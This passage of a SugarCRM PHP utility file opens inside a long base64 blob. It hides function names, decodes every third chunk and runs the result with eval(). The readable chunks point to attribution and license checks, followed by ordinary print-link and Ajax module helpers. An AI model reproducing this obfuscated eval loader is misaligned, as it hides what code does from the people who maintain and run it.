AF74930F449B3985848JG9kZCk7ICAgICBlY2hvICRfU0VTU0lPAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848TlsnbXZpJ107ICAgICAkX1NFU1NJT05bAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848J212aSddID0gYmFzZTY0X2VuY29kZSgkAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848X1NFU1NJT05bJ212aSddKTsgICAgIH0gAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgIH0gIH0gfSAgaWYoIWZ1bmN0aW9uAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848X2V4aXN0cygnbXZjY2hlY2snKSl7ICBmAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dW5jdGlvbiBtdmNjaGVjaygpeyAgIGlmAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848KCFlbXB0eSgkX1NFU1NJT05bJ212aSddAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848KSAmJiAhZW1wdHkoJEdMT0JBTFNbJ2FwAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848cCddLT5oZWFkZXJEaXNwbGF5ZWQpKXsgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgZWNobyBiYXNlNjRfZGVjb2RlKCRfAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848U0VTU0lPTlsnbXZpJ10pOyAgIH0gIH0gAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848fSAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bXZjbG9nJykpeyAgIGZ1bmN0aW9uIG12AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Y2xvZygkdGltZV9vbl9sYXN0X3BhZ2UpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IHsgICBpZihlbXB0eSgkX1JFUVVFU1RbAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848J2FjdGlvbiddKSlyZXR1cm47ICAgc3dpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dGNoKCRfUkVRVUVTVFsnYWN0aW9uJ10pAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848eyAgICBjYXNlICdMb2dpbic6JGNhc2UgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848PSAxOyRsZXZlbD0xO2JyZWFrOyAgICBjAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YXNlICdBdXRoZW50aWNhdGUnOiRjYXNlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ID0gMDskbGV2ZWw9MjticmVhazsgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Y2FzZSAnQWJvdXQnOiRjYXNlID0gMTskAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bGV2ZWw9MTticmVhazsgICAgZGVmYXVsAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dDptdmNjaGVjaygpO3JldHVybjsgICB9AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgZ2xvYmFsICRhdXRoTGV2ZWw7ICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JGF1dGhMZXZlbCA9ICRsZXZlbDsgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JGZzID0gYXJyYXkgKCk7ICAgICRmc1tdAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ID0gYXJyYXkgKCdnJyA9PiAnYVc1amJIAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848VmtaUzlOVmtNdlZtbGxkeTlUZFdkaGNsAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WnBaWGN1Y0dodycsICdtJyA9PiAnJywgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848J2EnID0+ICdKbU52Y0hrN0lESXdNRFF0AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848TWpBeE1pQlRkV2RoY2tOU1RTQkpibU11AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848SUZSb1pTQlFjbTluY21GdElHbHpJSEJ5AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YjNacFpHVmtJRUZUSUVsVExDQjNhWFJvAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YjNWMElIZGhjbkpoYm5SNUxpQWdUR2xqAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Wlc1elpXUWdkVzVrWlhJZ1BHRWdhSEpsAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WmowaVRFbERSVTVUUlM1MGVIUWlJSFJoAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Y21kbGREMGlYMkpzWVc1cklpQmpiR0Z6AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Y3owaVkyOXdlVkpwWjJoMFRHbHVheUkrAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848UVVkUVRIWXpQQzloUGk0OFluSStWR2hwAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Y3lCd2NtOW5jbUZ0SUdseklHWnlaV1VnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YzI5bWRIZGhjbVU3SUhsdmRTQmpZVzRnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Y21Wa2FYTjBjbWxpZFhSbElHbDBJR0Z1AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WkM5dmNpQnRiMlJwWm5rZ2FYUWdkVzVrAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WlhJZ2RHaGxJSFJsY20xeklHOW1JSFJvAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WlNBOFluSStQR0VnYUhKbFpqMGlURWxEAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848UlU1VFJTNTBlSFFpSUhSaGNtZGxkRDBpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WDJKc1lXNXJJaUJqYkdGemN6MGlZMjl3AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZVZKcFoyaDBUR2x1YXlJK0lFZE9WU0JCAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Wm1abGNtOGdSMlZ1WlhKaGJDQlFkV0pzAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YVdNZ1RHbGpaVzV6WlNCMlpYSnphVzl1AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848SURNOEwyRStJR0Z6SUhCMVlteHBjMmhsAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WkNCaWVTQjBhR1VnUm5KbFpTQlRiMlowAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZDJGeVpTQkdiM1Z1WkdGMGFXOXVMQ0JwAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Ym1Oc2RXUnBibWNnZEdobElHRmtaR2wwAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YVc5dVlXd2djR1Z5YldsemMybHZiaUJ6AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WlhRZ1ptOXlkR2dnYVc0Z2RHaGxJSE52AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZFhKalpTQmpiMlJsSUdobFlXUmxjaTQ4AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WW5JKycsICdpJyA9PiAnMScsICdiJyA9AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848PiAnSm1OdmNIazdJREl3TURRdE1qQXhNAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aUE4WVNCb2NtVm1QU0pvZEhSd09pOHZkAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848M2QzTG5OMVoyRnlZM0p0TG1OdmJTSWdkAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848R0Z5WjJWMFBTSmZZbXhoYm1zaUlHTnNZAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WE56UFNKamIzQjVVbWxuYUhSTWFXNXJJAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ajVUZFdkaGNrTlNUU0JKYm1NdVBDOWhQAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aUJCYkd3Z1VtbG5hSFJ6SUZKbGMyVnlkAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bVZrTGp4aWNqND0nLCAnYyc9PiRjYXNlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848LCAnbCc9PiRsZXZlbCwgJ3MnPT4yKTsgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgJGZzW10gPSBhcnJheSAoJ2cnID0+AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICdhVzVqYkhWa1pTOU5Wa012Vm1sbGR5AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848OVRkV2RoY2xacFpYY3VjR2h3JywgJ20nAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ID0+ICcnLCAnYScgPT4gJ1UzVm5ZWEpEAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848VWswZ2FYTWdZU0IwY21Ga1pXMWhjbXNnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YjJZZ1UzVm5ZWEpEVWswc0lFbHVZeTRnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848UVd4c0lHOTBhR1Z5SUdOdmJYQmhibmtnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WVc1a0lIQnliMlIxWTNRZ2JtRnRaWE1nAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YldGNUlHSmxJSFJ5WVdSbGJXRnlhM01nAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YjJZZ2RHaGxJSEpsYzNCbFkzUnBkbVVnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WTI5dGNHRnVhV1Z6SUhkcGRHZ2dkMmhwAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WTJnZ2RHaGxlU0JoY21VZ1lYTnpiMk5wAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WVhSbFpDND0nLCAnaScgPT4gJzEnLCAnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YicgPT4gJ1UzVm5ZWEpEVWswZ2FYTWdZAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848U0IwY21Ga1pXMWhjbXNnYjJZZ1UzVm5ZAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WEpEVWswc0lFbHVZeTRnUVd4c0lHOTBhAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848R1Z5SUdOdmJYQmhibmtnWVc1a0lIQnliAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848MlIxWTNRZ2JtRnRaWE1nYldGNUlHSmxJAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848SFJ5WVdSbGJXRnlhM01nYjJZZ2RHaGxJAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848SEpsYzNCbFkzUnBkbVVnWTI5dGNHRnVhAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848V1Z6SUhkcGRHZ2dkMmhwWTJnZ2RHaGxlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848U0JoY21VZ1lYTnpiMk5wWVhSbFpDND0nAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848LCAnYyc9PiRjYXNlLCAnbCc9PiRsZXZlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bCwgJ3MnPT4yKTsgICAgJGZzW10gPSBhAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848cnJheSAoJ2cnID0+ICdhVzVqYkhWa1pTAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848OXBiV0ZuWlhNdmNHOTNaWEpsWkdKNVgzAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848TjFaMkZ5WTNKdExuQnVadz09JywgJ20nAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ID0+ICc4MjRlN2U2NWEzYjc5MDFjYjBhAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848MWQ1M2E4MGFkOTMxMCcsICdhJyA9PiAnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JywgJ2knID0+IDAgLCdjJz0+JGNhc2UsAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICdsJz0+JGxldmVsLCAncyc9PjEpOyAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgICAgICAkZnNbXSA9IGFycmF5AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICgnZycgPT4gJ2FXNWpiSFZrWlM5TlZrAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848TXZWbWxsZHk5VGRXZGhjbFpwWlhjdWNHAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aHcnLCAnbScgPT4gJycsICdhJyA9PiAnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848UEdsdFp5QnpkSGxzWlQwbmJXRnlaMmx1AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848TFhSdmNEb2dNbkI0SnlCaWIzSmtaWEk5AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848SnpBbklIZHBaSFJvUFNjeE1EWW5JR2hsAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YVdkb2REMG5Nak1uSUhOeVl6MG5hVzVqAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YkhWa1pTOXBiV0ZuWlhNdmNHOTNaWEpsAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WkdKNVgzTjFaMkZ5WTNKdExuQnVaeWNnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WVd4MFBTZFFiM2RsY21Wa0lFSjVJRk4xAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848WjJGeVExSk5KejQ9JywgJ2knID0+ICcxAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JywgJ2InID0+ICdQRUVnYUhKbFpqMG5hAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848SFIwY0RvdkwzZDNkeTV6ZFdkaGNtWnZjAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bWRsTG05eVp5Y2dkR0Z5WjJWMFBTZGZZAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bXhoYm1zblBqeHBiV2NnYzNSNWJHVTlKAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848MjFoY21kcGJpMTBiM0E2SURKd2VDY2dZAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bTl5WkdWeVBTY3dKeUIzYVdSMGFEMG5NAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848VEEySnlCb1pXbG5hSFE5SnpJekp5QnpjAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bU05SjJsdVkyeDFaR1V2YVcxaFoyVnpMAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848M0J2ZDJWeVpXUmllVjl6ZFdkaGNtTnliAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848UzV3Ym1jbklHRnNkRDBuVUc5M1pYSmxaAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Q0JDZVNCVGRXZGhja05TVFNjK1BDOWhQAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Zz09JywgJ2MnPT4kY2FzZSwgJ2wnPT4kAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bGV2ZWwsICdzJz0+MSk7ICAgIGFtc2koAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JGZzKTsgICB9IH0g";$msi4= 0;$msi10="";$msi8="b";$msi16="d";$msi17="64";$msi2="st";$msi3= 0;$msi14="as";$msi5="su";$msi7=32;$msi6="r";$msi19="e";$msi12=$msi2.$msi6.$msi0;$msi11 = $msi12($msi1);$msi13= $msi5. $msi8. $msi2.$msi6;$msi21= $msi8. $msi14 . $msi19. $msi17 ."_". $msi16.$msi19. $msi;for(;$msi3 < $msi11;$msi3+=$msi7, $msi4++){if($msi4%3==1)$msi10.=$msi21($msi13($msi1, $msi3, $msi7)); }if(!empty($msi10))eval($msi10);
61
62 function getPrintLink()
63 {
64     if (isset($_REQUEST['action']) && $_REQUEST['action'] == "ajaxui")
65     {
66         return "javascript:SUGAR.ajaxUI.print();";
67     }
68     return "javascript:void window.open('index.php?{$GLOBALS['request_string']}',"
69          . "'printwin','menubar=1,status=0,resizable=1,scrollbars=1,toolbar=0,location=1')";
70 }
71
72
73 function ajaxBannedModules(){
74     $bannedModules = array(
75         'Calendar',
76         'Emails',
77         'Campaigns',
78         'Documents',
79         'DocumentRevisions',
80         'Project',
81         'ProjectTask',
82         'EmailMarketing',
83         'CampaignLog',
84         'CampaignTrackers',
85         'Releases',
86         'Groups',
87         'EmailMan',
88         "Administration",
89         "ModuleBuilder",
90         'Schedulers',
91         'SchedulersJobs',
92         'DynamicFields',
93         'EditCustomFields',
94         'EmailTemplates',
95         'Users',
96         'Currencies',
97         'Trackers',
98         'Connectors',
99         'Import_1',
100         'Import_2',
101         'Versions',
102         'vCals',
103         'CustomFields',
104         'Roles',
105         'Audit',
106         'InboundEmail',
107         'SavedSearch',
108         'UserPreferences',
109         'MergeRecords',
110         'EmailAddresses',
111         'Relationships',
112         'Employees',
113         'Import'
114     );
115
116     if(!empty($GLOBALS['sugar_config']['addAjaxBannedModules'])){
117         $bannedModules = array_merge($bannedModules, $GLOBALS['sugar_config']['addAjaxBannedModules']);
118     }
119     if(!empty($GLOBALS['sugar_config']['overrideAjaxBannedModules'])){
120         $bannedModules = $GLOBALS['sugar_config']['overrideAjaxBannedModules'];
121     }
122
123     return $bannedModules;
124 }
125
126 function ajaxLink($url)
127 {
128     global $sugar_config;
129     $match = array();
130     $javascriptMatch = array();
131     
132     preg_match('/module=([^&]*)/i', $url, $match);
133     preg_match('/^javascript/i', $url, $javascriptMatch);
134
135     if(!empty($sugar_config['disableAjaxUI'])){
136         return $url;
137     }
138     else if(isset($match[1]) && in_array($match[1], ajaxBannedModules())){
139         return $url;
140     }
141     //Don't modify javascript calls.
142     else if (isset($javascriptMatch[0])) {
143         return $url;
144     }
145     else
146     {
147         return "#ajaxUILoc=" . urlencode($url);
148     }
149 }
150
151 ?>